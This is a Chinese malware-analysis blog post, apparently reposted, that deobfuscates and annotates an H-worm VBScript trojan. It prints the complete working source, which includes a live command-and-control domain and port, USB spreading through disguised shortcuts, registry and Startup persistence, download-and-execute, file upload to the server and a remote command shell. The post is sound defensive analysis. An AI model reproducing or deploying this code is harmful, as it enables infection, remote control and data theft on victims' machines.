一例H-worm vbs脚本分析

news2024/12/23 3:12:39

样本的基本信息

MD5: c750a5bb8d9aa5a58c27956b897cf102
SHA1: e14994b9e32a3e267947cac36fb3036d9d22be21
SHA256: 1eb712d4976babf7c8cd0b34015c2701bc5040420e688911e6614b278cc82a42
SHA512: b1921c1dc7e8cf075882755be48c0d9636858cd7913188cb6c9ca6e7e741f049c143a79c6835ef93adc6eb30cebb3a67764aebdaa344a8ec22de6fff959661f0
CRC32: 88c48f9a

分析环境

  • vscode
  • python3
  • PrimalScript

分析过程

用notepad++打开脚本后,发现这是一个混淆后的脚本,主要的代码在anas变量中

anas = "3981899982..." '混淆后的代码
anas = SPLIT(anas,"81899982838") '拆分
FOR X = 0 TO UBOUND(anas) -1 '遍历将数字转成asc码
Xmy = Xmy & ChrW(anas(X))
NEXT
EXECUTE (Xmy) '执行代码

去混淆

参考上面的逻辑编写python脚本对anas变量进行去混淆

data = open("anas.txt",'r').read()
data = data.strip().split("81899982838")
data1 = ''
for x in data:
    if x.isnumeric():
        data1 += chr(int(x))
open('1.vbs','w').write(data1)

样本分析

经过分析,这个样本的主要逻辑如下图所示,这是一个木马,通过U盘传播,感染主机后要定时向后台请求命令执行,通过CC域名可能匹配到该样本属于H-worm家族。

代码中主要的函数功能

详细的分析结果见代码注释

'<[ recoder : houdini (c) skype : houdini-fx ]>



'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=


' 配置

' C&C服务器的域名
host = "sidisalim.myvnc.com" 
' C&C服务器的端口
port = 1888 

'安装的路径
installdir = "%temp%" 

' 开关变量,是否创建文件的快捷方式
lnkfile = true
'开关变量,是否创建文件夹的的快捷方式
lnkfolder = true



'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=


' 全局变量

' shell对象,用于执行命令
dim shellobj 

set shellobj = wscript.createobject("wscript.shell")

' 文件系统对象,用于操作文件
dim filesystemobj

set filesystemobj = createobject("scripting.filesystemobject")

' http对象,用于网络请求
dim httpobj

set httpobj = createobject("msxml2.xmlhttp")





'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
'私有变量

' 当前文件的名字 1.vbs

installname = wscript.scriptname

' 系统的startup目录 C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
startup = shellobj.specialfolders ("startup") & "\"

'临时目录 C:\Users\ADMINI~1\AppData\Local\Temp\
installdir = shellobj.expandenvironmentstrings(installdir) & "\"

if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"

' split=<|>
spliter = "<" & "|" & ">"

sleep = 5000 

dim response

dim cmd

dim param

info = ""

usbspreading = ""

startdate = ""

' 自身的文件对象
dim oneonce



'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
' 如果后面的程序出现"运行时错误"时,会继续运行,不中断
on error resume next



' 感染系统 添加开机启动项
instance

while true

    ' 感染当前系统和可移动存储介质
    install

    response = ""

    ' 向后台发送is-ready消息,并返回要执行的指令
    response = post ("is-ready","")

    ' 从POST响应中的解析出指令
    cmd = split (response,spliter)

    select case cmd (0)

        case "excecute" ' 执行命令

            param = cmd (1)

            execute param

        case "update" ' 更新自身

            param = cmd (1)

            oneonce.close

            ' 写入新文件
            set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)

            oneonce.write param

            oneonce.close

            ' 运行新文件
            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)

            wscript.quit 

        case "uninstall" ' 删除自身

            uninstall

        case "send" '从后台下载文件执行

            download cmd (1),cmd (2)

        case "site-send" '从其它站点下载文件执行

            sitedownloader cmd (1),cmd (2)

        case "recv" '向后台上传文件

            param = cmd (1)

            upload (param)

        case  "enum-driver" '获取驱动器信息

            post "is-enum-driver",enumdriver  

        case  "enum-faf" '遍历指定的目录

            param = cmd (1)

            post "is-enum-faf",enumfaf (param)

        case  "enum-process" '获取系统进程列表

            post "is-enum-process",enumprocess   

        case  "cmd-shell" '执行命令返回结果

            param = cmd (1)

            post "is-cmd-shell",cmdshell (param)  

        case  "delete" '删除指定的文件或目录

            param = cmd (1)

            deletefaf (param) 

        case  "exit-process" 'kill指定pid的进程

            param = cmd (1)

            exitprocess (param) 

        case  "sleep" '设置轮询的间隔时间

            param = cmd (1)

            sleep = eval (param)    

    end select



    wscript.sleep sleep



wend




' 感染当前系统和可移动存储介质
sub install

    on error resume next

    dim lnkobj

    dim filename

    dim foldername

    dim fileicon

    dim foldericon


    ' 写注册表 设置开机启动项 拷贝自身到temp和startup目录下
    upstart

    ' 遍历驱动器 关于filesysobj可参考https://blog.csdn.net/chuhe163/article/details/103538947
    for each drive in filesystemobj.drives

        if  drive.isready = true then

            if  drive.freespace  > 0 then ' 磁盘上可用空间大于0

                if  drive.drivetype  = 1 then '1代表可移动
                    ' 把自己拷贝到可移动的驱动器根目录下
                    filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true

                    ' 若拷贝成功
                    if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                        ' 设置文件属性为 隐藏和系统文件 FILE_ATTRIBUTE_HIDDEN=2 FILE_ATTRIBUTE_SYSTEM=4
                        filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4

                    end if

                    ' 遍历可移动存储驱动器根目录下的文件
                    for each file in filesystemobj.getfolder( drive.path & "\" ).Files

                        if not lnkfile then exit for

                        ' 若文件名中含有.
                        if  instr (file.name,".") then
                            ' 若当前文件不是.lnk文件
                            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                ' 将文件属性设置为 隐藏+系统文件
                                file.attributes = 2+4
                                ' 不是脚本自身
                                if  ucase (file.name) <> ucase (installname) then

                                    filename = split(file.name,".")

                                    ' 创建一个同当前文件同名的快捷方式 可参考 https://www.jb51.net/shouce/script56/Script56_chs/html/wsprowindowstyle.htm
                                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                    ' 最小化窗口并激活下一个顶级窗口。
                                    lnkobj.windowstyle = 7

                                    lnkobj.targetpath = "cmd.exe"

                                    lnkobj.workingdirectory = ""
                                    ' cmd.exe /c start 1.vbs & start filename & exit 先执行1.vbs 再打开当前文件
                                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                
                                    ' 从注册表中读取当前文件后缀默认的打开程序的icon 如.zip使用winrar打开 
                                    ' HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WinRAR\DefaultIcon
                                    ' 值为"C:\\Program Files\\WinRAR\\WinRAR.exe,0"
                                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 

                                    ' 修改快捷方式的图标为当前文件的图标
                                    if  instr (fileicon,",") = 0 then

                                        lnkobj.iconlocation = file.path

                                    else 

                                        lnkobj.iconlocation = fileicon

                                    end if
                                    ' 保存快捷方式
                                    lnkobj.save()

                                end if

                            end if

                        end if

                    next


                    ' 遍历移动驱动器根目录下的子目录
                    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders

                        if not lnkfolder then exit for

                        ' 将当前文件夹 属性设置为hide 和system
                        folder.attributes = 2+4

                        foldername = folder.name
                        ' 创建一个同名的快捷方式
                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                        ' 最小化运行
                        lnkobj.windowstyle = 7

                        lnkobj.targetpath = "cmd.exe"

                        lnkobj.workingdirectory = ""
                        ' 打开快捷方式执行 cmd.exe /c start 1.vbs &start exporer 当前目录 &exit
                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"

                        ' 将快捷方式的图标设置为文件夹图标
                        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 

                        if  instr (foldericon,",") = 0 then

                            lnkobj.iconlocation = folder.path

                        else 

                            lnkobj.iconlocation = foldericon

                        end if
                        ' 保存快捷方式
                        lnkobj.save()

                    next

                end If

            end If

        end if

        next

    err.clear

end sub


' 删除自身,删除USB设备的快捷方式 恢复文件和目录
sub uninstall

    on error resume next

    dim filename

    dim foldername


    '删除注册表中的开机启动项
    shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)

    shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)

    '删除startup目录中的副本
    filesystemobj.deletefile startup & installname ,true

    '删除自身
    filesystemobj.deletefile wscript.scriptfullname ,true


    '遍历当前系统驱动器
    for  each drive in filesystemobj.drives

        if  drive.isready = true then

            if  drive.freespace  > 0 then
                '找到USB设备
                if  drive.drivetype  = 1 then

                    for  each file in filesystemobj.getfolder ( drive.path & "\").files

                        on error resume next

                        '若文件名中含有.
                        if  instr (file.name,".") then
                            '对于非.lnk文件
                            if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                            
                                '设置文件为可见
                                file.attributes = 0

                                '对于非自身副本的文件
                                if  ucase (file.name) <> ucase (installname) then

                                    filename = split(file.name,".")
                                    '删除同名的.lnk文件
                                    filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )

                                else
                                    '删除自身副本
                                    filesystemobj.deletefile (drive.path & "\" & file.name)

                                end If

                            else
                                '删除.lnk文件
                                filesystemobj.deletefile (file.path) 

                            end if

                        end if

                    next

                    '遍历文件夹
                    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                        '将文件夹设置为可见
                        folder.attributes = 0

                    next

                end if

            end if

        end if

        next
    '退出
    wscript.quit

end sub


' 向控制服务器发送post请求 cmd为uri,返回响应
function post (cmd ,param)



    post = param

    httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false

    'user-agent为系统信息  逻辑驱动器序列号<|>计算机名<|>当前用户名<|>操作系统名<|>plus<|>系统的杀软列表<|>是否从usb中感染 - 感染日期
    httpobj.setrequestheader "user-agent:",information 

    ' 发送负载
    httpobj.send param

    post = httpobj.responsetext

end function


' 获取系统信息 逻辑驱动器序列号<|>计算机名<|>当前用户名<|>操作系统名<|>plus<|>系统的杀软列表<|>是否从usb中感染 - 感染日期
function information

    on error resume next

    if  inf = "" then

        inf = hwid & spliter ' 逻辑驱动器序列号

        inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter ' 计算机名

        inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter ' 当前用户名


        ' 可参考 https://blog.csdn.net/shellching/article/details/16983957
        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        '获取当前操作系统名
        set os = root.execquery ("select * from win32_operatingsystem")

        for each osinfo in os

            inf = inf & osinfo.caption & spliter  '获取当前操作系统名

        exit for

        next

        inf = inf & "plus" & spliter

        inf = inf & security & spliter ' 获取系统的杀软列表

        inf = inf & usbspreading ' 是否在usb设备中运行 和 日期

        information = inf  

    else

        information = inf

    end if

end function




' 写注册表 设置开机启动项 拷贝自身到temp和startup目录下
sub upstart ()

    on error resume Next


    '写注册表 HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\1  wscript.exe //B "C:\Users\ADMINI~1\AppData\Local\Temp\1.vbs"
    shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"

    '写注册表 HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\1  wscript.exe //B "C:\Users\ADMINI~1\AppData\Local\Temp\1.vbs"
    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"

    ' 把当前文件拷贝到 C:\Users\ADMINI~1\AppData\Local\Temp\1.vbs
    filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true

    ' 把当前文件拷贝到 startup目录下 C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs
    filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true



end sub




' 获取逻辑磁盘序列号
function hwid

    on error resume next

    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")

    '使用WMI枚举所有逻辑磁盘信息
    set disks = root.execquery ("select * from win32_logicaldisk")

    for each disk in disks
        ' 序列号
        if  disk.volumeserialnumber <> "" then

            hwid = disk.volumeserialnumber

            exit for

        end if

    next

end function




' 获取系统中安装的杀软列表
function security 

    on error resume next



    security = ""



    set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")

    set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)

    for each objitem in colitems

        versionstr = split (objitem.version,".")

    next

    versionstr = split (colitems.version,".")

    osversion = versionstr (0) & "."

    for  x = 1 to ubound (versionstr)

        osversion = osversion &  versionstr (i)

    next

    osversion = eval (osversion)

    if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"



    set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)

    ' 获取当前系统的杀软系统
    Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)



    for each objantivirus in colantivirus

        security  = security  & objantivirus.displayname & " ."

    next

    if security  = "" then security  = "nan-av"

end function




' 感染系统 添加开机启动项
function instance

    ' 如果后面的程序出现"运行时错误"时,会继续运行,不中断
    on error resume next


    ' 读取注册表项 HKEY_LOCAL_MACHINE\software\1\ 的内容
    usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")

    if usbspreading = "" then '若为空

        ' 若当前的vbs文件在驱动器的根目录下
        if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
        
            ' usbspreding 设置为 "true - 当前日期"
            usbspreading = "true - " & date

            '写注册表 HKEY_LOCAL_MACHINE\software\1\
            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"

        else
            ' usbspreding 设置为 "false - 当前日期"
            usbspreading = "false - " & date

            '写注册表 HKEY_LOCAL_MACHINE\software\1\ 
            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"



        end if

    end If


    ' 设置开机启动项,将自身拷贝到 tmp和startup目录下
    upstart

    set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)

    set installfullnameshort =  filesystemobj.getfile (installdir & installname)

    ' 若当前文件在临时目录,执行临时目录的脚本
    if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 

        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)

        wscript.quit 

    end If

    err.clear

    ' 打开 tmp目录下的自己
    set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)

    ' 若文件不存在退出 
    if  err.number > 0 then wscript.quit

end function





sub sitedownloader (fileurl,filename)



    strlink = fileurl

    strsaveto = installdir & filename

    set objhttpdownload = createobject("msxml2.xmlhttp" )

    objhttpdownload.open "get", strlink, false

    objhttpdownload.send



    set objfsodownload = createobject ("scripting.filesystemobject")

    '若文件已经存在,删除
    if  objfsodownload.fileexists (strsaveto) then

        objfsodownload.deletefile (strsaveto)

    end if

  
    '保存文件
    if objhttpdownload.status = 200 then

    dim  objstreamdownload

    set  objstreamdownload = createobject("adodb.stream")

    with objstreamdownload

            .type = 1 

            .open

            .write objhttpdownload.responsebody

            .savetofile strsaveto

            .close

    end with

    set objstreamdownload = nothing

    end if
  
    '若文件存在,运行
    if objfsodownload.fileexists(strsaveto) then

        shellobj.run objfsodownload.getfile (strsaveto).shortpath

    end if 

end sub


'从后台下载文件执行 
'fileurl为文件名
'filedir为文件要保存的路径
sub download (fileurl,filedir)



    if filedir = "" then 

    filedir = installdir

    end if


    '文件保存的路径
    strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)

    set objhttpdownload = createobject("msxml2.xmlhttp")

    'post http://sidisalim.myvnc.com:1888/is-sending<|>fileurl
    objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false

    objhttpdownload.send ""

    

    set objfsodownload = createobject ("scripting.filesystemobject")
    '若文件已经存在,删除之
    if  objfsodownload.fileexists (strsaveto) then

        objfsodownload.deletefile (strsaveto)

    end if

    ' http状态码为200的话
    if  objhttpdownload.status = 200 then

        dim  objstreamdownload

        set  objstreamdownload = createobject("adodb.stream")

        '将http的响应保存为文件
        with objstreamdownload 

            .type = 1 

            .open

            .write objhttpdownload.responsebody

            .savetofile strsaveto

            .close

        end with

        set objstreamdownload  = nothing

    end if

    '若文件存在,运行文件
    if objfsodownload.fileexists(strsaveto) then

        shellobj.run objfsodownload.getfile (strsaveto).shortpath

    end if 

end sub




' 向后台上传文件
function upload (fileurl)



    dim  httpobj,objstreamuploade,buffer

    set  objstreamuploade = createobject("adodb.stream")

    with objstreamuploade 

        .type = 1 

        .open

        .loadfromfile fileurl

        buffer = .read

        .close

    end with

    set objstreamdownload = nothing

    set httpobj = createobject("msxml2.xmlhttp")
    ' http://sidisalim.myvnc.com:1888/is-recving<|>文件名
    httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false

    httpobj.send buffer

end function




' 遍历驱动器
function enumdriver ()



    for  each drive in filesystemobj.drives

        if   drive.isready = true then

            enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter

        end if

    next

end Function


'遍历指定目录
function enumfaf (enumdir)



    enumfaf = enumdir & spliter

    for  each folder in filesystemobj.getfolder (enumdir).subfolders

        enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter

    next



    for  each file in filesystemobj.getfolder (enumdir).files

        enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter



    next

end function




'遍历主机的进程
function enumprocess ()



    on error resume next



    set objwmiservice = getobject("winmgmts:\\.\root\cimv2")

    set colitems = objwmiservice.execquery("select * from win32_process",,48)



    dim objitem

    for each objitem in colitems

        enumprocess = enumprocess & objitem.name & "|"

        enumprocess = enumprocess & objitem.processid & "|"

        enumprocess = enumprocess & objitem.executablepath & spliter

    next

end function


'kill指定Pid的进程
sub exitprocess (pid)

    on error resume next



    shellobj.run "taskkill /F /T /PID " & pid,7,true

end sub


'删除文件或目录
sub deletefaf (url)

    on error resume next



    filesystemobj.deletefile url

    filesystemobj.deletefolder url



end sub


'执行命令返回结果 
function cmdshell (cmd)



    dim httpobj,oexec,readallfromany



    set oexec = shellobj.exec ("%comspec% /c " & cmd)

    if not oexec.stdout.atendofstream then

        readallfromany = oexec.stdout.readall

    elseif not oexec.stderr.atendofstream then

        readallfromany = oexec.stderr.readall

    else 

        readallfromany = ""

    end if



    cmdshell = readallfromany

end function

参考资料

  • H-WORM:简单而活跃的远控木马

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/425737.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

有哪些比较不错的AI绘画网站?

AI绘画最近非常流行。目前&#xff0c;互联网上有许多主流的人工智能绘画网站&#xff0c;但你都知道吗&#xff1f; 如果您正在寻找一个基于最先进智能技术的人工智能绘画网站&#xff0c;并介绍五个智能、现实和高效于一体的人工智能绘画网站。 1.即时AI 即时AI绘画是指通…

《RockectMQ实战与原理解析》Chapter4-分布式消息队列的协调者

4.1 NameServer 的功能 NameServer 是整个消息队列中的状态服务器&#xff0c;集群的各个组件通过它来了解全局的信息 。 同时&#xff0c;各个角色的机器都要定期向 NameServer 上报自己的状态&#xff0c;超时不上报的话&#xff0c; NameServer 会认为某个机器出故障不可用了…

基于OBS超低延迟直播实测(400毫秒左右)超多组图

阿酷TONY&#xff0c;原创文章&#xff0c;长沙。 文章简述&#xff1a;本文介绍使用OBS无延迟直播插件在第三方云平台&#xff0c;如何实现超低延时直播的完整教程&#xff08;延迟约为400毫秒左右&#xff0c;通常延迟是3-15秒&#xff09;。 OBS简要介绍 OBS&#xff08;O…

vue3+vite3+typescript实现验证码功能及表单验证

文章目录验证码组件父组件表单验证最终效果验证码组件 <template><div class"captcha" style"display: flex;"><canvas ref"canvas" width"100" height"40"></canvas></div><div class&qu…

LeetCode 1019. Next Greater Node In Linked List【单调栈模板】中等

本文属于「征服LeetCode」系列文章之一&#xff0c;这一系列正式开始于2021/08/12。由于LeetCode上部分题目有锁&#xff0c;本系列将至少持续到刷完所有无锁题之日为止&#xff1b;由于LeetCode还在不断地创建新题&#xff0c;本系列的终止日期可能是永远。在这一系列刷题文章…

如何实现视觉识别颜色

1. 功能说明 通过摄像头识别特定颜色&#xff08;红、绿、蓝&#xff09;。摄像头采集图像信息并通过WiFi将信息传递给PC端&#xff0c;然后PC端根据比例判断出目标颜色在色盘上的所属颜色后&#xff0c;指针便会指向对应颜色。 红、绿、蓝-色块2. 电子硬件 本实验中采用了以下…

网络编程【TCP流套接字编程】

目录 TCP流套接字编程 1.ServerSocket API 2.Socket API 3.TCP中的长短连接 4.回显程序(短连接) 5.服务器和客户端它们的交互过程 6.运行结果及修改代码 TCP流套接字编程 ❗❗两个核心&#xff1a;ServerSocket Socket 1.ServerSocket API ✨ServerSocket 是创建…

RK3568平台开发系列讲解(Linux系统篇)Linux 目录结构介绍

🚀返回专栏总目录 文章目录 一、 linux 目录结构二、 linux 文件层次标准三、 linux 目录结构沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇我们从目录管理入手,会更直观的理解 linux 的目录结构。 一、 linux 目录结构 Linux 整个文件系统是以“ / ”目录开…

Cobalt_Strike_4.5渗透工具的安装与使用

前言&#xff1a; Cobalt Strike是一款内网渗透测试神器&#xff0c;Cobalt Strike分为客户端和服务器端&#xff0c;该服务器端被称为团队服务器&#xff0c;是Beacon有效负载的控制器&#xff0c;同时&#xff0c;cobalt strike也具有社会工程学功能&#xff0c;团队服务器还…

企业如何使用OA系统?OA系统有哪些功能和应用的场景?

企业如何使用OA系统&#xff1f;OA系统有哪些功能和应用的场景&#xff1f; 办公自动化&#xff08;Office Automation&#xff0c;简称OA&#xff09;&#xff0c;是将计算机、通信等现代化技术运用到传统办公方式&#xff0c;进而形成的一种新型办公方式。办公自动化利用现代…

02_Uboot基本命令与内存命令

目录 U-Boot命令使用 信息查询命令 环境变量操作命令 内存操作命令 U-Boot命令使用 进入uboot的命令行模式以后输入“help”或者“&#xff1f;”,然后按下回车即可查看当前uboot 所支持的命令,如图所示: 图中只是uboot的一部分命令,具体的命令列表以实际为准。图中的命令…

Mongo初遇回忆录

序 上周&#xff0c;我和M女士分手了&#xff0c;也许是上个月&#xff0c;我不知道。也许是她太墨守成规&#xff0c;也许是我太肆意妄为&#xff0c;她说我给不了她想要的平稳和安定。她没有留下太多东西&#xff0c;我也不愿留下更多回忆。 做决定的过程中&#xff0c;我比…

「计算机控制系统」4. 计算机控制系统分析

Z平面 稳定性分析 稳态误差分析 动态过程分析 频率特性 文章目录Z平面与S平面的映射关系稳定性分析离散Routh判据Jury判据离散Nyquist判据稳态误差静态误差系数动态过程频率特性Z平面与S平面的映射关系 S平面虚轴的映射 ω\omegaω与θ\thetaθ的映射 可以看出从S平面到Z平面…

远程组态管理的好处

远程组态管理可以简化管理工作&#xff0c;帮助您节省时间和金钱。远程组态管理可以通过各种应用程序来实现&#xff0c;包括&#xff1a; •监控所有设备的状态&#xff0c;以确保它们正常工作。 •记录现场数据&#xff0c;例如温度&#xff0c;压力或流量。 •快速、轻松地…

自动驾驶「时过境迁」,这家头部出行服务平台再出发

滴滴自动驾驶复活了&#xff1f; 昨日&#xff0c;滴滴正式发布了首个自动驾驶自动运维中心&#xff0c;以及首款未来服务概念车DiDi Neuron&#xff0c;同时还公布了在技术、硬件、量产以及新业务探索方面的进展。 按照计划&#xff0c;滴滴自动驾驶正在结合新能源整车企业能…

【单链表】的增删查改

&#x1f58a;作者 : Djx_hmbb &#x1f4d8;专栏 : 数据结构 &#x1f606;今日分享 : “Onc in a blu moon” : “罕见的,千载难逢的” (出现在19世纪,指的是"在一个月内出现的第二次圆月”&#xff0c;这种现象每隔32个月发生一次。) 文章目录✔单链表的功能实现:&…

大前端突围之路:从RN跨平台到大前端全栈统一

本文首发自「慕课网」(imooc.com)&#xff0c;想了解更多IT干货内容&#xff0c;程序员圈内热闻&#xff0c;欢迎关注"慕课网"&#xff01; 作者&#xff1a;FE大公爵|慕课网讲师 前言 不知不觉&#xff0c;在大前端领域也混迹十年了&#xff0c;一路的经历不敢说…

接口自动化测试yaml+requests+allure技术,你学会了吗?

目录 前言 一、什么是接口自动化测试 二、为什么要进行接口自动化测试 三、接口自动化测试的流程 四、yaml语言介绍 五、requests库介绍 六、allure技术介绍 七、总结 前言 接口自动化测试是在软件开发过程中常用的一种测试方式&#xff0c;通过对接口进行自动化测试&a…

SQL Sever 单表数据查询(下)

提示&#xff1a;本篇文章是在上篇文章的基础上进行单表数据查询操作的补充,主要以例题的方式呈现. 文章目录前言1.分组&#xff1a;统计各门课程的选修人数2.分别统计男女生的平均年龄3.查询所有科目成绩在85分以上的学生的学号及其平均分4.查询平均年龄大于18岁的系部和平均年…

Linux复习 / 动静态库QA梳理 | 如何使用第三方库?

文章目录前言Q&A概念Q&#xff1a;使用静态库和使用动态库的程序有什么区别&#xff1f;Q&#xff1a;什么是静态链接/动态链接&#xff1f;使用与制作Q&#xff1a;如何制作动静态库&#xff1f;Q&#xff1a;如何使用第三方库&#xff1f;Q&#xff1a;程序加载时&#x…